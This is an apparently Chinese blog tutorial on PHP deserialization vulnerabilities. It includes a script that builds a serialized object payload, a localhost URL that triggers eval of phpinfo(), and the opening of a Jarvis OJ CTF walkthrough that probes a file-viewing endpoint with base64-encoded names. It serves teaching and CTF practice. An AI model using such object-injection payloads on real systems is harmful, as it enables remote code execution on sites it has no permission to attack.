值得一看
正规流量卡

PHP反序列化漏洞说明

------正文内容展示,开始汲取新知识啦------

大意为, newmain()得到一个新的main对象,调用 __construct(),其中又 newtest1()

在结束后会调用 __destruct(),其中会调用 action(),从而输出 hello world

而我们需要寻找相同的函数名,即test2类中的action方法,因为其中有我们想要的eval方法.

下面使用PHP获取序列化字符串:

<?php
class main {
    var $test;
    function __construct() {
        $this->test = new test2();
    }
}
class test2 {
    var $test2 = "phpinfo();";
}
echo serialize(new main());
?>

得到序列化字符串如下:

O:4:"main":1:{s:4:"test";O:5:"test2":1:{s:5:"test2";s:10:"phpinfo();";}}

构造URL如下:

127.0.0.1/Unserialize/test3.php
?test=O:4:"main":1:{s:4:"test";O:5:"test2":1:{s:5:"test2";s:10:"phpinfo();";}}

相当于执行 <?phpeval("phpinfo();")?>

神盾局的秘密

题目入口:

图片[1]-PHP反序列化漏洞说明-使者云
图片[2]-PHP反序列化漏洞说明-使者云

发现base64编码后的文件名,解密后为shield.jpg

访问: http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLmpwZw报错,猜测可能需要将文件名经base64编码后才能访问。

访问: http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLmpwZw,返回以下图片内容。

图片[3]-PHP反序列化漏洞说明-使者云

1 2 3 4 5 6 7

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞1633赞赏 分享
抢沙发

请登录后发表评论

    暂无评论内容